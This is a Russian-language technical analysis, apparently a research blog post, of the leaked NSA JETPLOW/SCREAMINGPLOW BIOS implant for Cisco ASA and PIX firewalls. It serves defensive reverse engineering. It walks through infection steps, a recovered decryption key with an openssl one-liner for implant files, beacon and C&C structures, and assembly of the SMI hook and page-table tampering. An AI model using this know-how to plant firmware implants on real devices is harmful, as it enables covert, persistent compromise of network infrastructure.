Архитектура JETPLOW – NSA бэкдор в моей подставке под кофе

Картинка для привлечения внимания


«Какой изящный ход — называть стандартный буткит имплантом,» — подумали мы.

Всё началось около года назад, когда в распоряжение нашего отдела исследований поступили дорогостоящие подставки под кофе, а именно несколько железок от Cisco — коммутаторы Catalyst 3850, Catalyst 6500 (о технике написания шеллкодов под этого «зверя» ранее был доклад на ZeroNights 2015) и межсетевой экран ASA 5525-X.


Найдя несколько баг в межсетевом экране, которые позволяли «провалиться» в систему, получив стандартный шелл (разработчик был своевременно проинформирован), мы задумались над импактом — что можно сделать такого страшного, чтобы нанесло бы максимальный урон. И тут… слитые в 2013-м году Сноуденом секретные документы АНБ пришлись как нельзя кстати. В них рассказывалось про имплант для PIX и ASA под названием JETPLOW, покрывающий Cisco PIX 500-й серии и Cisco ASA серии 5505, 5510, 5520, 5540, 5550. Как вы можете заметить, в каталоге АНБ из представленного большого диапазона поддерживаемых версий не было упоминания об имеющемся в нашем распоряжении ASA 5525-X, что, в свою очередь, породило спортивный интерес в части создания своего импланта под серию 5525-X в качестве PoC.


О своем видении и реализации импланта под ASA 5525-X мы будем рассказывать на конференции ZeroNights 2016 и выложим его исходные коды. Также, в качестве бонуса, мы продемонстрируем реализацию аналогичного импланта для Catalyst 3850.


Важно отметить, что разработанный имплант для целевых 5525-X немного отличается от JETPLOW ввиду того, что 5525-X построена на архитектуре Intel x86_64, и использует UEFI, а Catalyst 3850 базируется на архитектуре MIPS64.


Архив от The Shadow Brokers


С момента публикации было достаточно много статей, посвященных анализу содержимого бесплатной части архива (ссылка 1, ссылка 2). Кто-то подался в конспирологию, связывая константное значение Q32 c Equation Group, кто-то просто отмахнулся, опрометчиво заявив, что выложенные эксплойты способны поразить только старые версии ASA и никакой угрозы не представляют.


В данной работе мы предлагаем абстрагироваться от подковерных бульдожьих игр, не разбираться, кто кого взломал и кто кого в этом подозревает, а на основе имеющегося опыта reverse engineering оборудования Cisco (и других подобных железок), а также анализа вредоносного кода, провести хладнокровный технический анализ самого импланта (см. директорию BANANAGLEE/), предназначенного под оборудование данного вендора. Ведь факт остается фактом — представленные в архиве файлы действительно являются набором средств эксплуатации неопубликованных ранее уязвимостей и средств негласного съема информации, использующих буткит-технологию. Несмотря на отсутствие части файлов, находящиеся в архиве инструменты отлично работают и выполняют свою задачу. Здесь нельзя не восхититься объемом проделанной работы.


Перед тем как перейти непосредственно к анализу импланта, стоит рассмотреть целевое железо, на которое он устанавливается, а именно архитектуру межсетевых экранов от Cisco.


Что такое межсетевой экран от Cisco


ASA и PIX


Экосистема Cisco огромная, просто поражает масштабами. Только широко известных операционных систем у них с десяток:


  • IOS
  • IOS XE
  • IOS XR
  • NX-OS
  • CatOS
  • AsyncOS
  • Firepower OS
  • ОС AireOS
  • NX OS
  • ОС PIX
  • ОС ASA

Одни базируются на Linux, другие — на QNX или BSDi, также можно встретить и другие проприетарные ОС. В общем, настоящий зоопарк, и как с этим управляется (или не управляется) производитель, остается загадкой. И при этом не забывайте, что это все еще работает на различных архитектурах:


  • x86
  • x86_64
  • ARM
  • MIPS
  • PowerPC

На выходе получается очень непростая матрица видов устройств. Стоит понимать, что от архитектуры процессора зависит, какие технологии безопасности есть на уровне процессора, и можно применять при организации защиты устройства. Технологии защиты может априори не быть на устройстве из-за аппаратной начинки. Так что нужно внимательно изучать, что используется в недрах девайса.


Сегодня нами будут рассмотрены две линейки аппаратных межсетевых экранов: PIX (Private Internet Exchange) и ASA (Adaptive Security Appliance), пришедшая на замену PIX. Обе железки имеют x86 (Intel и AMD) совместимую архитектуру.


Загрузка межсетевого экрана


Как и в большинстве устройств от Cisco, в межсетевых экранах задачу загрузки выполняет некоторый bootstrap-код, называемый ROMMON (ROM Monitor). ROMMON в самом начале своей работы выполняет задачи по инициализации аппаратных компонентов, после чего считывает текущую конфигурацию из NVRAM. В случае отсутствия необходимости перехода в режим ROM Monitor mode (confreg 0×00), использует GRUB для загрузки образа (загрузочного образа с расширением .bin) операционной системы, для чего передает ему имя считанного из NVRAM файла.


Процесс загрузки ASA/PIX выглядит так:


Поток данных процесса загрузки межсетевого экрана ASA/PIX


Загрузочный образ ASA и PIX являются файлом, который хранится на флешке, более известной нам как flash:/. Структура загрузочных образов выглядит так:


Общая структура загрузочных образов ASA и PIX


Эволюция образов ASA видна в том, что, начиная с версии 8.x.x, Cisco перешла на использование ОС Linux. Далее, в качестве примера рассмотрим содержимое загрузочного asa831-k8.bin (ниже мы прокомментируем, почему был выбран данный образ):


$ binwalk -B asa831-k8.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Cisco ASA MAINLDR
512           0x200           Cisco ASA NEXTLDR, a_text: 0x1000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x3C0, a_entry: 0xA000
18432         0x4800          Cisco ASA NEXTLDR, a_text: 0x7000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x0, a_entry: 0x14000
20682         0x50CA          Unix path: /platform/asa/finesse/pci.c
73728         0x12000         Cisco ASA BOOTLDR, a_text: 0x5000, a_data: 0xF19000, a_bss: 0x0, a_syms: 0x24, a_entry: 0x100020
79802         0x137BA         Unix path: /platform/asa/finesse/pci.c
94208         0x17000         Cisco ASA vmlinuz (2.6.x), kernel_alignment: 0x100000
106110        0x19E7E         gzip compressed data, maximum compression, from Unix, last modified: 2010-03-04 22:59:10
1432976       0x15DD90        gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2010-03-04 23:57:08
15454677      0xEBD1D5        Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrelay64.dll
15881408      0xF254C0        Cisco ASA STUBLDR, a_text: 0x6000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x1FA4, a_entry: 0x14000, kernel-size: 0x146D90, rootfs-size: 0xDC7718
15887378      0xF26C12        Unix path: /platform/asa/finesse/pci.c

Распаковав rootfs, можно выделить несколько интересных особенностей:


  1. Используемое ядро: Linux version 2.6.29.6 (builders@ff-bldcheck-05) (gcc version 4.0.2) #1 PREEMPT Thu Mar 4 15:59:06 MST 2010.
  2. Директория, содержащая файлы межсетевого экрана: /tmp/asa831-k8-rootfs/asa.
  3. Основной исполняемый файл имеет путь /tmp/asa831-k8-rootfs/asa/bin/lina и исполняется с правами root.
  4. Принудительное отключение ASLR (далее в статье мы рассмотрим, как это используют разработчики импланта):

$ grep "randomize_va_space" /tmp/asa831-k8-rootfs/asa/scripts/rcS.common
echo 0 > /proc/sys/kernel/randomize_va_space

Компоненты загрузочного образа и последовательность их загрузки


Нет смысла рассматривать MBR и FirstLdr, поскольку они никак не участвуют в загрузке и являются рудиментами, тянущимися ещё с версий образов под PIX.


Все загрузчики, кроме MBR, имеют заголовки, описываемые следующей структурой (отличается лишь значение поля a_midmag):


struct grub_aout32_header {
      grub_uint32_t a_midmag;       /* htonl(flags<<26 | mid<<16 | magic) */
      grub_uint32_t a_text;         /* text segment size */
      grub_uint32_t a_data;         /* initialized data size */
      grub_uint32_t a_bss;          /* uninitialized data size */
      grub_uint32_t a_syms;         /* symbol table size */
      grub_uint32_t a_entry;        /* entry point */
      grub_uint32_t a_trsize;       /* text relocation size */
      grub_uint32_t a_drsize;       /* data relocation size */
};

SecondLdr

Имеет сигнатуру (значение поля a_midmag): 0×0064010B.


Если детально не вдаваться в подробности работы данного загрузчика, то можно сказать, что он используется только в случае загрузки ROMMON'ом образа по протоколу tftp. ROMMON располагает загружаемый образ в физической памяти с учетом смещения SecondLdr и его заголовка по адресу 0×13FE0, и передает на него управление (1*). Основная задача этого загрузчика — проверка целостности загружаемого образа, проверка поддержки целевой платформы, релокация остальной части образа, начиная с BootLdr по адресу 0×100000 и передача управления на его точку входа (2*).


BootLdr

Данный загрузчик имеет сигнатуру 0×107, основная задача — подготовка ядра к запуску, повторная проверка поддержки целевой платформы, генерация идентификатора данной платформы, релокация тела StubLdr по адресу 0×13FE0 (с учетом заголовка) и передача на него управления (2). В качестве аргумента передается указатель на вычисленный идентификатор платформы.


Также на данный загрузчик может передать управление GRUB (1), что, в принципе, никак не влияет на его адрес загрузки.


StubLdr

Имеет сигнатуру 0×0064010B, основной задачей данного загрузчика является распаковка и загрузка ядра (3).


Важно отметить, что в случае с образом под PIX (начиная с версии образов 6.2), ядро имеет аналогичный загрузчику BootLdr заголовок.


JETPLOW


Что касается терминологии, то при анализе архива мы заметили, что название JETPLOW используется для обозначения ранних версий импланта (в основном, для PIX), а новым версиям дано название SCREAMINGPLOW, при этом, в некоторых из управляющих компонентов последних версий присутствует частичная поддержка старых версий.


Нами был произведен анализ последней версии набора утилит BannanaDaiquiri 3.1.2 (директория BANANAGLEE/BG3121) и входящий в её состав ScreamingPlow версии 2.8 (SCP28). В качестве целевого оборудования был выбран межсетевой экран Cisco ASA 5505 с ROMMON версии 1.0(12)13 и загрузочный образ версии 8.3.1 (asa831-k8.bin). Последнюю версию импланта мы взяли потому, что в ней присутствует поддержка большего числа серий целевых межсетевых экранов, расширен набор возможностей и улучшена архитектура.


Способы заражения


Установка импланта возможна:


  • через пост-экплуатацию, к примеру, после удаленной эксплуатации уязвимости. Подобный эксплоит можно также найти в выложенном архиве (см. EXPLOITS/EXBA);
  • через использование загрузочного образа. Такое заражение может быть произведено удаленно по сети или при наличии физического доступа к устройству. Например, в офисе транспортной компании.

Часть интересной информации можно почерпнуть из документации разработчиков (к примеру, см. файл screamplow-INSTALL.txt), написанной в саркастической форме.


В ней упоминается некий, отсутствующий в архиве, ключевой (инженерный) загрузочный образ image.bin, загружаемый по сети с использованием протоколов tftp, ftp и http (s).


Пример из документации:


copy tftp://[workstation IP]/image.bin flash:/image2.bin
boot system image2.bin
rel

На случай заражения более ранних серий межсетевых экранов, а именно PIX, разработчики заботливо предоставляют оператору скрипты автоматизации развертывания веб-сервера Apache (см. файл OPS/apache_setup.sh и документацию SCRIPTS/Apache_Setup.txt) для последующей загрузки инженерных образов по протоколу http (s).


Процесс использования инженерного образа для заражения


Данный инженерный образ должен быть индивидуально сгенерирован под конкретный целевой межсетевой экран на основании некоторой базовой информации о нем (серия, версия ROMMON и т.д.). Помимо этого, при генерации образа должен быть указан идентификатор импланта, который в последующем будет использоваться для различения зараженных устройств и коммуникации с ними.


Всё взаимодействие с инженерным образом производится по сети (UDP 500). Для этого используется несколько утилит:


  • инфектор (в последних версиях имеет имя BPICKER, в более старых — writeScreamingPlow и writeJetPlow);
  • утилита LP для мониторинга и последующего управления.

Основной задачей инфектора является формирование карты образа BIOS Flash, с учетом информации, полученной о системе, и передача сформированных данных утилитам на загрузочном образе для последующего заражения.


Подготовка к заражению


Как уже говорилось ранее, в последней версии утилит BannanaDaiquiri для формирования карты образа BIOS Flash используется утилита BPICKER (см. файл BANANAGLEE/BG3121/Install/LP/BPICKER-3100). Данная утилита, после подключения к инженерному образу, получает от него информацию о целевом оборудовании. Затем на её основании в текущей директории производится поиск архива с именем -moduledata-.tgz, который содержит составные части импланта. К сожалению, в опубликованной части архива присутствует только файл asa-moduledata-3101.tgz. Произведя распаковку архива, можно наблюдать следующую структуру каталогов:


$ tree -d BANANAGLEE/BG3121/Install/LP/asa-moduledata-3101
asa-moduledata-3101
├── asa                    # Зашифрованные xml-файлы с расширением pif (persistence information file), содержащие карты образов BIOS Flash
│   └── legacy
├── bin                    # Составные части различных версий ScreamingPlow для целевых платформ ASA5505 и ASAGen
│   ├── asa5505
│   │   ├── legacy
│   │   │   ├── SCP10
│   │   │   ├── SCP20
│   │   │   ├── SCP21
│   │   │   ├── SCP23
│   │   │   ├── SCP24
│   │   │   ├── SCP25
│   │   │   ├── SCP26
│   │   │   └── SCP27
│   │   └── SCP28
│   └── asaGen
│       ├── legacy
│       │   ├── SCP10
│       │   ├── SCP20
│       │   ├── SCP21
│       │   ├── SCP23
│       │   ├── SCP24
│       │   ├── SCP25
│       │   ├── SCP26
│       │   └── SCP27
│       └── SCP28
└── lib                    # Директория библиотек, содержащих основные алгоритмы работы с составными частями импланта

Для выбранной нами версии импланта, файл, содержащий карты образа BIOS Flash, имеет имя asa/asa5505_101213_install_SCP28.pif. Ключ для расшифровки pif-файлов можно обнаружить через анализ утилиты BPICKER.


// `BANANAGLEE/BG3121/Install/LP/BPICKER-3100` @ 0804F080

uint8_t *key = (uint8_t *)malloc(29);
*(uint32_t *)key = 0xC28AD3C7;
*((uint32_t *)key + 1) = 0xD8CFDCC5;
*((uint32_t *)key + 2) = 0xCCCBD8C9;
*((uint32_t *)key + 3) = 0xD9C38ADE;
*((uint32_t *)key + 4) = 0xC6DFCC8A;
*((uint32_t *)key + 5) = 0xCCC58AC6;
*((uint32_t *)key + 6) = 0xC6CFCF8A;
key[28] = 0xD9;

int i = 0;
do {
      key[i] ^= 0xAA;
      ++i;
} while (i <= 28);

// key = "my hovercraft is full of eels"

Для выбранной нами версии импланта, нас интересуют pif-файлы с именами asa/asa5505_101213_install_SCP28.pif для инсталляции и asa/asa5505_101213_uninstall_SCP28.pif для деинсталляции.


Расшифровать все имеющиеся в архиве pif-файлы можно следующим образом:


find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' \;

Расшифрованный xml-файл asa5505_101213_install_SCP28.pif содержит следующее:




    asa5505
    
        1.0(12)13 (no persistence detected)
        bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin
        
             
                67dfd19f3eb3649d6f3f6631e44d0bd36b8d8d19
                
fff60000
0x20000
d68c37d03242d4648b94d107bec27b1e3f3a248d
fff40000
0x20000
579d3ffa2fcb4d55a51b45747184a41656b88df2
fff80000
0x80000
bb706c2b0d3e28ee5209eb0b4f55cc3b8adca81b
fff60000
0xdf00
d68c37d03242d4648b94d107bec27b1e3f3a248d
fff40000
0x20000
c4e5a42ddca3a977e6ba64075914d94a87ba1dfb
fff80000
0x80000
0
fff70000
bin/asa5505/SCP28/asa5505_patch60000.bin
fff60000
0
fff6df00
bin/asa5505/SCP28/asa5505_patchEC480.bin
fffec480
bin/asa5505/SCP28/asa5505_patchE18BF.bin
fffe18bf

Как видно по коду, в данном xml-файле находится корневой элемент platform, описывающий целевую платформу ASA 5505 с ROMMON версии 1.0(12)13 «на борту», оригинальный образ которого находится в файле bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin. Для BIOS данной платформы существуют патчи, описываемые в элементе patchList. Каждый из них имеет адрес назначения, и делится на два типа: файл на диске и код (inline).


Код патчей, имеющих тип inline, на основании пользовательских данных, формируется с помощью библиотеки для платформы libasa.so (см. атрибут lib корневого элемента platform), которая подгружается утилитой BPICKER.


На этом этапе стоит отметить, что в более ранних версиях утилит в составе BannanaDaiquiri формирование карты BIOS Flash происходило непосредственно в самом инфекторе, где пути до составных частей типа file были строго прописаны.


Заражение и последующая верификация


Весь процесс заражения, выполняемый инфектором, заключается в последовательной отправке сконфигурированных патчей инженерному образу. Для проверки корректности произведенного эффекта, на основании содержимого элемента validationList, выполняется повторное чтение участков памяти с последующим подсчетом хэш-суммы считанных данных. В то время как элементы в signatureList используются для того, чтобы убедиться, что целевая система не заражена или удаление импланта было успешно выполнено.


На картинке ниже показано, как выглядит BIOS Flash до и после заражения.


BIOS Flash ASA 5505 до и после заражения


Анализ составных частей импланта


Из приведенного выше содержимого xml-файла asa5505_101213_install_SCP28.pif видно, что сам имплант состоит из четырех основных частей: First Code Area, Second Code Area, First User Area, Second User Area и некоторого Hook'а:


Составные части импланта


Далее, для краткости изложения, мы будем оперировать аббревиатурами FCA, SCA, FUA и SUA, для обозначения соответствующих частей импланта, а Hook, пожалуй, останется Hook'ом.


Теперь рассмотрим каждую из составных частей. Произведем мы это в порядке, обратном тому, в котором их задействует имплант, что позволит упростить, а главное — не оборвать цепочку происходящих событий.


Second User Area (SUA @ 0xFFF70000)


Данная часть является основной и единственной полезной нагрузкой импланта, в то время как все остальные, по сути, являются её загрузчиком. SUA содержит в себе код полезной нагрузки импланта (A), а также некоторую вспомогательную информацию (B), описывающую окружение, в котором коду полезной нагрузки предстоит работать.


Код полезной нагрузки предназначен для установки связи с командным сервером (C&C Server).


Вспомогательная информация включает в себя, к примеру:


  • инструкции по определению версии основного процесса;
  • адреса различных функций в адресном пространстве основного процесса, которые код полезной нагрузки использует в своей работе (например, функции для работы с сетью);
  • смещения внутри ключевых структур основного процесса, с которыми коду полезной нагрузки предстоит работать, и др.

Вспомогательная информация хранится в SUA в виде комплекса структур, определение которых было получено вследствие анализа библиотеки libasa.so, и выглядит следующим образом:


/* User Area Directory */
struct {
    uint32_t magic;             /* UA_DIR signature is 0xD13EC703 */
    uint32_t os8_off;           /* OS8_INFO offset relative to UA_DIR start address */
    uint32_t bg_gen_off;        /* BG_GEN_INFO offset relative to UA_DIR start address */
    uint32_t bg_os_off;         /* BG_OS_INFO offset relative to UA_DIR start address */
} UA_DIR;

/* ASA OS x.x.x Info */
struct {
    uint32_t magic;             /* OS8_INFO signature is 0xDECAFBAD */
    struct {
        uint32_t version;
        uint32_t address;
    } records[0];
} OS8_INFO;

/* BANANAGLEE Gen? Info */
struct {
    struct {
        uint32_t magic;         /* BG_GEN_INFO signature is 0xBA9A61EE*/
        uint32_t data_size;
    } header;
    uint32_t unknown;           /* observed to be zero */
    uint32_t imp_version;       /* implant version */
} BG_GEN_INFO;

/* BANANAGLEE OS Info */
struct {
    uint32_t magic;             /* BG_OS_INFO signature is 0xBA9A61EE*/
    uint32_t size;              /* BG_OS_INFO data size */
    uint32_t page_size;
    uint32_t version;           /* lina/malina version this info is about */
    uint32_t bg_glob_addr;      
    uint32_t malloc_addr;       /* allocation routine address */
    uint32_t sync_addr;
    uint32_t checkheap_addr;   
    uint32_t imp_version;       /* implant version major */
    uint32_t unknown;           /* maybe checksum */ 
    void* addr_ptr_list[0];     /* various information regarding the given version of the main process */
} BG_OS_INFO;                   /* will be stored as an array where each element describes one particular version */

Рассмотрим назначение отдельных структур:


  1. UA_DIR — корневая структура, содержащая смещения остальных структур относительно начала SUA.
  2. OS8_INFO — структура, содержащая адреса, по которым в основном процессе располагаются константы со значением версии. Следует отметить, что в указанной структуре расположены адреса только для основного процесса lina (8.x.x и выше), поскольку различаются от версии к версии (отсюда название — OS8). Константа с версией основного процесса malina (7.x.x) всегда располагается по адресу 0×100040.
  3. BG_GEN_INFO — структура, содержащая размер и версию кода полезной нагрузки импланта.
  4. BG_OS_INFO — структура, содержащая информацию, описывающую конкретную версию основного процесса.

Структуры UA_DIR, OS8_INFO, BG_GEN_INFO присутствуют в SUA единственном экземпляре, и располагаются до кода полезной нагрузки. Структура BG_OS_INFO, в свою очередь, присутствует в SUA во множестве экземпляров, по одному на каждую версию основного процесса. Множество экземпляров хранится в виде массива, расположенного после кода полезной нагрузки.


Формирование комплекса структур осуществляется с использованием набора .dat файлов, каждый из которых описывает окружения для какой-либо конкретной версии основного процесса (см. файлы BANANAGLEE/BG3121/Dats/*.dat).


В качестве чистого образа SUA и дальнейшего формирования для него заголовка используется файл bin/BG_312_SCREAM_UA_full_support.bin.


First User Area (FUA @ 0xFFF6DF00)


Представленный фрагмент, именуемый авторами как PBD, состоит из заголовка PBD Header (A), и кода загрузчика userarea (B).


Код загрузчика формирует конечный образ userarea, в состав которого входит код полезной нагрузки из SUA и одна из структур BG_OS_INFO, выбор которой зависит от текущей версии основного процесса. Если в составе SUA нет структуры BG_OS_INFO для текущей версии основного процесса, загрузчик не сможет приступить к формированию userarea. В этом случае, загрузчик просто завершит свою работу и сообщит SP Main об ошибке.


Схематично это можно представить следующим образом:


Механизм работы загрузчика userarea


Заметим, что SUA — это код полезной нагрузки и информация об окружении, из которых в следствии работы загрузчика из FUA будет собрана сама полезная нагрузка, именуемая просто userarea.


Для хранения PBD Header в теле FUA отводятся первые 256 байт. Восстановленная структура PBD Header представлена ниже:


struct PBD_Header {
    struct KEY {
        uint16_t CHECKS_CONSTANTS[10];      // Constants for quick selection Beacon-packets
        uint8_t key1[8];                    // First part of RC6-key for ecrypt Benign-packets in session
        uint8_t key2[8];                    // Second part of RC6-key
        uint8_t challenge[16];
        uint8_t default_key1[8];            // First part of RC6-key for ecrypt HELLO, AUTH_RESP, CHALLENGE Benign-packets
        uint8_t default_key2[8];            // Second part of RC6-key
        uint8_t CV[8];
    } key;

    uint32_t implantID;

    struct BEACON {
        uint32_t beacon_count;              // Total number of beacons to send
        uint32_t primary_delay;             // Seconds to delay first beacon
        uint32_t secondary_delay;           // Seconds to delay subsequent beacons
        uint32_t min_delay;
        uint32_t max_delay;
        uint16_t min_src_port;              // 0x00 by default
        uint16_t max_src_port;              // 0xFFFF by default
        uint32_t beacon_primary_IP;         // First IP address for beacon destination
        uint32_t beacon_secondary_IP;       // Second IP address for beacon destination
        char domain_name[8];                // DNS beacon domain name ("yahoo" by default)
    } beacon;
};

Заголовок PBD Header заполняется на основании пользовательских данных и содержит информацию, необходимую импланту для связи с C&C (IP-адреса, ключи шифрования, периоды «отстука» и т.д.). В качестве чистого образа FUA, и дальнейшего формирования для него заголовка, используется файл bin/BG_312_PBD_config_CLEAN.bin.


First Code Area (FCA @ 0xFFF60000)


Содержимое этой части можно разделить на 3 элемента:


  • A) Поддельный обработчик системного вызова mmap2, задачей которого является перехват управления основного процесса.
  • B) Код SP Main, который в результате своей работы должен обеспечить передачу управления на код полезной нагрузки userarea. Его работу можно разделить на две части: вызов загрузчика userarea из FUA, а, в случае неудачи, передача управления на код аварийной связи с C&C.
  • C) Код для аварийной связи с C&C это, на наш взгляд, одна из самых интересных частей импланта. О нем мы расскажем в одном из следующих разделов.

Код FCA находится в файле bin/asa5505/SCP28/asa5505_patch60000.bin.


Second Code Area (SCA @ 0xFFFEC480)


SCA содержит в себе код поддельного SMI-обработчика, на который будет передано управление в один из моментов загрузки системы. Задача этого обработчика — внедрение FCA, FUA и часть SUA в адресное пространство основного процесса и дальнейшее обеспечение передачи управления на SP Main из FCA.


Код SCA находится в файле bin/asa5505/SCP28/asa5505_patchEC480.bin.


Hook (@ 0xFFFE18BF)


Данный патч накладывается на код BIOS, ответственный за копирование оригинального SMI-обработчика в пространство SMRAM:


Код BIOS до и после заражения


Задача Hook'а — копирование в SMRAM поддельного SMI-обработчика из SCA и сохранение перед этим адреса оригинального обработчика. Последнее действие необходимо для того, чтобы система продолжала функционировать в штатном режиме, в случае, если источник SMI не относится к работе импланта.


Код Hook'a находится в файле bin/asa5505/SCP28/asa5505_patchE18BF.bin.


Загрузка импланта


Первоначальная загрузка


Первый этап загрузки импланта начинается в момент выполнения BIOS«ом копирования кода обработчика SMI в область SMRAM. При установке импланта на устройство, этот код изменяется таким образом, чтобы вместо оригинального обработчика там оказался поддельный обработчик из SCA. После чего, выполнение кода SCA будет происходить при обработке процессором любого #SMI прерывания. Поскольку существует множество причин, по которым ICH/PCH инициирует #SMI, SCA заранее не знает, в какой момент времени начнется выполнение его кода. Для этого в коде SCA присутствует множество проверок на выполнение тех или иных условий, необходимых ему для своей работы. В случае, если какое-либо условие не выполняется, SCA передает управление дальше по цепочке обработке #SMI, в ожидании подходящего момента для продолжения работы:


; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x0A4

_exit:
      jmp         far ptr 0:0       ; jmp address @ SMBASE + 0x80A5
                                    ; Has been replaced by `mov word [0xc527], cx`
                                    ; where CX contains the original SMI handler EP and
                                    ; 0x80A4 = 0x8000 + (0xC527 - 0xC480 = 0xA5) - 1

В результате анализа имеющихся в публичной части архива компонентов импланта, нам не удалось установить, какое именно #SMI прерывание используется для инициации работы SCA. Однако с уверенностью можно сказать, что это прерывание должно быть периодическим и иметь достаточно малый интервал между срабатываниями, поскольку некоторые части кода SCA должны быть выполнены в строго определенный момент загрузки ОС/основного процесса.


Первоначально, SCA находится в ожидании следующих условий:


  • защищенный режим (CR0.PM == 1);
  • страничная организации памяти (CR0.PG == 1, CR3!= NULL);
  • готовность IDT/GDT.

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x14D

; ...
      mov         eax, fs:_ss_cr0
      and         eax, 1
      cmp         eax, 0
      jz          wait                          ; exit if PM is not enabled
      mov         eax, fs:_ss_cr0
      mov         ebx, cr3
      and         eax, 80000000h
      cmp         eax, 0
      jz          wait                          ; exit if PG is not enabled
      cmp         ebx, 0
      jz          wait                          ; exit if cr3 is zero
      sidt  fword ptr ds:0DC5F7h    ; _idt @ 0xC5F7
      mov         eax, ds:0DC5F9h               ; eax <- IDT.Base
      cmp         eax, 0
      jz          wait                          ; exit if IDT is not initialized yet
      cmp         byte ptr ds:0DC5EFh, 0  ; _setup_alarm @ 0xC5EF
      jz          short stage_00
      mov         byte ptr ds:0DC5EFh, 0  ; _setup_alarm @ 0xC5EF
      push  large 0                             ; a0
      call  large _setup_alarm_interrupt  
      add         esp, 4
      cmp         eax, 0
      jnz         short stage_00
      jmp         restore_exit
; ...

Выполнение этих условий означает, что ядро/загрузчик закончили подготовку окружения и готовы к запуску пользовательских процессов, а значит, можно начинать проникновение.


Знакомство с жертвой


На данном этапе импланту необходимо сделать следующее: обеспечить передачу управления на код SP Main из основного процесса межсетевого экрана и предоставить доступ SP Main к остальным частям импланта, расположенным на BIOS Flash.


Для этого SCA необходимо определить, с каким загрузочным образом имплант имеет дело — для ASA или для PIX. Именно от этого будет зависеть выбор того или иного механизма проникновения в основной процесс.


Определение версии осуществляется через анализ заголовка загрузчика BootLdr, расположенного по виртуальному адресу 0×100000 (который обязательно должен быть мапингом на физический адрес 0×100000).


Если размер кодового раздела больше 8 MiB — мы имеем дело с PIX, в противном случае жертвой оказалась ASA.


; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0xD6E

; int __cdecl _fca_inject_stage1(int a0, int a1, int cr3, int cr4, int zero)
; ...
    mov     dword ptr [esp], 100000h                  ; malina bootloader real time va
    call    large va2pa
    test    eax, eax
    jz      short guess_lina
    cmp     eax, 100000h                              ; malina bootloader is located @ VA 0x100000 PA 0x100000
    jnz     short guess_lina
    mov     [ebp+var_C], 100000h     
    mov     eax, [ebp+var_C]        
    cmp     [eax+grub_aout32_header.a_midmag], 107h   ; bootloader magic 
    jnz     short guess_lina
    mov     eax, [ebp+var_C]
    cmp     [eax+grub_aout32_header.a_text], 7FFFFFh  ; bootloader + malina size
    jbe     short guess_lina                          ; can't be lass than 8 MiB
; ...
    jmp  guess_malina
; ...

Проникновение в основной процесс malina (PIX)


Несмотря на то, что в настоящей статье в качестве цели для импланта рассматривается, в основном, ASA и её основной процесс lina, в первую очередь мы рассмотрим механизм проникновения в процесс malina. Как будет видно далее, часть кода в SP Main, связанная с аварийным режимом работы импланта (о котором мы так же расскажем далее), аналогична в своей механике с кодом, который используется для проникновения в основной процесс malina.


В первую очередь, SCA необходимо создать мапинг BIOS Flash в адресное пространство основного процесса. Для этого SCA напрямую работает с последней записью Page Directory, которая содержит адрес Page Table для последних 4-х MiB 32-битного адресного пространства (BIOS Flash Map).


Каждый Page Table Entry модифицируется таким образом, чтобы обеспечить доступ на чтение и запись из user space к каждой странице BIOS Flash Map.


; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x24B

; int __cdecl map_bios_flash_manually(int cr3, int cr4)
; ...
    mov     eax, [ebp+cr3]  
; ...
    and     eax, 0FFFFF000h   ; eax <- paging directory
    lea     ebx, [eax+0FFCh]  ; last pd entry addr
    mov     edx, [eax+0FFCh]  ; last pd entry value
; ...
    mov     eax, edx
    or      eax, 2            ; set pde permissions to RW
    mov     [ebx], eax        ; write PDE back
    mov     esi, 1
    mov     edi, 0
    mov     ebx, edx
    and     ebx, 0FFFFF000h   ; ebx <- PT pa

loc_DD2B5:
    mov     edx, 0FFF00000h

loc_DD2BB:
    lea     ecx, [edx+7]      ; ecx <- 0xFFF00007
    mov     eax, edx
    and     eax, 3FF000h      ; eax <- 0x300000
    shr     eax, 0Ah          ; eax <- 0xC00
    lea     eax, [ebx+eax]    ; eax <- PTE pa which is PT pa + 0xC00
    test    esi, esi
    jz      short loc_DD2DD
    test    byte ptr [eax], 1 ; is present?
    jnz     short _exit_err

loc_DD2DD:
    mov     [eax], ecx        ; set PTE value
    add     edx, 1000h        ; move to next page
    cmp     edx, 0FFF80000h   ; done?
    jnz     short loc_DD2BB
    add     edi, 1
    mov     esi, 0
    cmp     edi, 2
    jnz     short loc_DD2B5
    mov     eax, cr3
    mov     cr3, eax
    mov     eax, 1
    jmp     short _exit_ok
; ...

Затем SCA производит в основном процессе поиск функции, пролог которой начинается с последовательности байт 55 53 65 57, что соответствует инструкциям push ebp, ebx, esi, edi. В основном процессе malina присутствует единственная функция с таким прологом (в качестве примера нами была использована прошивка версии 7.2.2 для PIX):


; `pix722.bin/malina.bin` @ 0x100110

_td_ctx_enter      proc near               ; CODE XREF: sub_113890+1F4
    push    ebp                            ; the search pattern is `55 53 56 57`
    push    ebx
    push    esi
    push    edi
    mov     eax, ds:13A8E80h
    mov     edx, [eax+1Ch]
    mov     [eax+1Ch], esp
    mov     esp, edx
    mov     ebp, [eax+20h]
    mov     ebx, [eax+24h]
    mov     esi, [eax+28h]
    mov     edi, [eax+2Ch]
    retn
_td_ctx_enter      endp

Непосредственно за функцией _td_ctx_enter следует функция _td_ctx_exit, куда далее кодом SCA будет установлен сплайс:


; `pix722.bin/malina.bin` @ 0x100130

_td_ctx_exit      proc near               ; CODE XREF: sub_1131B0:loc_1131DD
     mov     eax, ds:13A8E80h
     mov     edx, [eax+1Ch]
     mov     [eax+1Ch], esp
     mov     esp, edx
     mov     [eax+20h], ebp
     mov     [eax+24h], ebx
     mov     [eax+28h], esi
     mov     [eax+2Ch], edi
     pop     edi
     pop     esi
     pop     ebx
     pop     ebp
     retn
_td_ctx_exit      endp

